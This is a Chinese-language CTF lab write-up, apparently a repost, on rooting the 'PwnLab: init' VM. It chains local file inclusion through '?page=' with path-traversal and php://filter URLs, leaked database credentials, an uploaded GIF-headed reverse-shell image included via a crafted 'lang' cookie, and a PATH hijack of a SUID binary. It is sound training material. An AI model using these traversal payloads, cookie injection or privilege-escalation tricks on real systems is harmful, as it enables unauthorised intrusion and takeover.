20. CTF綜合靶機滲透(十三)


靶機說明:

Wellcome to "PwnLab: init", my first Boot2Root virtual machine. Meant to be easy, I hope you enjoy it and maybe learn something. The purpose of this CTF is to get root and read de flag.

Can contact me at: claor@pwnlab.net or on Twitter: @Chronicoder

  • Difficulty: Low
  • Flag: /root/flag.txt

滲透過程:

本次依然采用parrot linux+windows10來作為攻擊機器,都在一個網段下,

攻擊機IP為:192.168.0.105

既然是同一局域網,我們先用nmap掃出靶機地址:

得到靶機的IP地址為:192.168.0.106

我們用nmap對這個靶機進行深度掃描:

發現開放了三個端口:80,111,3306

也發現不少服務:Apache,mysql,rpc

我們訪問靶機主頁:http://192.168.0.106

我們先不着急點擊頁面,我們先查看源代碼:

我們用dirb查看一下目錄,看有什么發現:

后三個index.php,login.php,upload.php我們都已經見過,

訪問這個config.php

一片空白...

我們切入正題,看這個index.php

有一句話:Use this server to upload and share image files inside the intranet

翻譯:使用此服務器在內部網中上傳和共享圖像文件

讓我更堅信這里存在文件包含漏洞

我們先看這個login

普通的登陸框,也沒有驗證碼,經過嘗試發現弱口令,萬能密碼不行,

我們用sqlmap嘗試一下:

 

 

emmm...sqlmap好像也沒有跑成功,但一想也是,page這里雖然接受的是一個

get參數,但這是用來接受.php文件,並且include()到當前php文件中.

我們看一下upload這個頁面:

提示必須先登錄,不過我們看這個url有個/?page=upload

應為我以前遇到過這種形式,所以我推測是文件包含:

(具體看我之前的博客:http://www.cnblogs.com/bmjoker/p/8877336.html)

我們先用最基本的來嘗試:

  • http://192.168.0.106/?page=/etc/passwd
  • http://192.168.0.106/?page=../etc/passwd
  • http://192.168.0.106/?page=../../etc/passwd
  • ......
  • http://192.168.0.106/?page=../../../../../../etc/passwd

發現這些都不起作用.

我們只有用偽協議來嘗試得到index的源代碼:

  • http://192.168.0.106/?page=php://filter/read=convert.base64-encode/resource=index

這是一串base64編碼,我們嘗試解碼:

我們得到了index.php代碼:

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
    if (isset($_GET['page']))
    {
        include($_GET['page'].".php");
    }
    else
    {
        echo "Use this server to upload and share image files inside the intranet";
    }
?>
</center>
</body>
</html>

這樣一段代碼引起了我的注意:

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>

這里同時也存在文件包含漏洞,如果我們設置一個名稱為 lang 的文件上傳路徑的cookie,到時候就可以直接被包含在內。

同時我們也看到了文件包含的代碼:

<?php
    if (isset($_GET['page']))
    {
        include($_GET['page'].".php");
    }
    else
    {
        echo "Use this server to upload and share image files inside the intranet";
    }
?>

我們順便讀出upload.php

<?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
    <body>
        <form action='' method='post' enctype='multipart/form-data'>
            <input type='file' name='file' id='file' />
            <input type='submit' name='submit' value='Upload'/>
        </form>
    </body>
</html>
<?php 
if(isset($_POST['submit'])) {
    if ($_FILES['file']['error'] <= 0) {
        $filename  = $_FILES['file']['name'];
        $filetype  = $_FILES['file']['type'];
        $uploaddir = 'upload/';
        $file_ext  = strrchr($filename, '.');
        $imageinfo = getimagesize($_FILES['file']['tmp_name']);
        $whitelist = array(".jpg",".jpeg",".gif",".png"); 

        if (!(in_array($file_ext, $whitelist))) {
            die('Not allowed extension, please upload images only.');
        }

        if(strpos($filetype,'image') === false) {
            die('Error 001');
        }

        if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
            die('Error 002');
        }

        if(substr_count($filetype, '/')>1){
            die('Error 003');
        }

        $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

        if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
            echo "<img src=\"".$uploadfile."\"><br />";
        } else {
            die('Error 4');
        }
    }
}

?>

login.php

<?php
session_start();
require("config.php");
$mysqli = new mysqli($server, $username, $password, $database);

if (isset($_POST['user']) and isset($_POST['pass']))
{
    $luser = $_POST['user'];
    $lpass = base64_encode($_POST['pass']);

    $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
    $stmt->bind_param('ss', $luser, $lpass);

    $stmt->execute();
    $stmt->store_Result();

    if ($stmt->num_rows == 1)
    {
        $_SESSION['user'] = $luser;
        header('Location: ?page=upload');
    }
    else
    {
        echo "Login failed.";
    }
}
else
{
    ?>
    <form action="" method="POST">
    <label>Username: </label><input id="user" type="test" name="user"><br />
    <label>Password: </label><input id="pass" type="password" name="pass"><br />
    <input type="submit" name="submit" value="Login">
    </form>
    <?php
}

我記得我們開始的時候用dirb掃除了一個config.php文件,我們趁機讀出它:

我們解碼分析:

我們發現mysql數據庫的用戶密碼

$server      = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";

同時這個靶機還開了3306數據庫默認端口,我們直接進去:

我們可以得到用戶跟密碼:

  • kent:JWzXuBJJNy
  • mike:SIfdsTEn6I
  • kane:iSv5Ym2GRo

我們嘗試登陸:

 發現是一個文件上傳,文件上傳的話,就是構造一個馬,然后用各種文件上傳的騷姿勢

,只要傳到服務器上就行,我們先來分析一下upload.php看有什么限制:

 

我們可以使用白名單+MIME類型的修改+重命名+文件后綴檢測就可以成功繞過!

但是有一個函數getimagesize()能夠有效的確認上傳文件是一個圖像,所以,大部分的上傳

方法都會失效,唯一的方法就是上傳一個真實的圖片通過那些驗證,而不是繞過,我們在

圖片里嵌入我們的php-reverse-shell的反彈shell的木馬,就可以監聽利用。

既然分析得差不多,我們來構造我們的圖片馬3.gif:

 

 其中GIF89a是文件頭,用來繞過類型檢查,

(各種文件頭:https://en.wikipedia.org/wiki/List_of_file_signatures)

我們嘗試上傳:

上傳成功!上傳路徑為   http://192.168.0.106/upload/068ae40523a24c9ef54edefd375e542d.gif

我們雖然可以上傳成功,但他是gif類型的,我們的反彈shell的木馬不會被解析,也就不能使用。‘

這時候我們想到了,之前分析的index.php中的另一個關於cookie的文件包含:

<?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
    include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>

這樣我們可以設置lang,偽造cookie,這樣的話就可以直接包含我們的圖片馬,

cookie偽造:cookie:lang=../upload/068ae40523a24c9ef54edefd375e542d.gif

這樣就可以成功解析我們的反彈shell的php代碼,同時在kali里面設置監聽:

然后我們抓包,修改cookie:

 

然后我們forward,把這個數據包發出去,cookie也就包含了這個帶有反彈shell的圖片馬

同時也會解析這個php圖片馬,反彈shell:

成功反彈shell,

我們嘗試登陸kent用戶:

 

.....可利用地方不多,看下一個人kane,我們登陸kane:

在kane的/home目錄下發現了一個文件msgmike:

我們找一下標識位suid為kane的用戶,也發現了這個msgmike文件:

 

使用file命令查看下這個文件:

從截圖可以看到,這是一個ELF 32位 LSB執行文件,但是當我們執行文件的時候,報錯了:

通過報錯信息我們可以看到msgmike調用cat命令讀取/home/mike/msg.txt文件,

針對這種情況,我們可以通過設置bash的$path環境變量來利用,通常的$PATH包含:

然而當我們調用cat命令的時候,cat會從以上目錄來尋找,如果我們添加.到$PATH環境變量,

則會先從當前目錄來尋找cat指令,相當於我們自己創建一個讀文件的cat指令,用這個指令來

讀新建取/home/mike/msg.txt文件,我們新建一個cat文件,並添加執行權限:

 

這樣當我們再次運行./msgmike命令的時候,就會觸發當前目錄下的cat(/bin/sh),

我們就會提升到mike權限:

我們在/home/mike這個目錄里面發現了這樣一個文件夾:

這或許能讓我們提升到root權限,我們運行,發現了一個root權限

的/bin/bash會話:

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM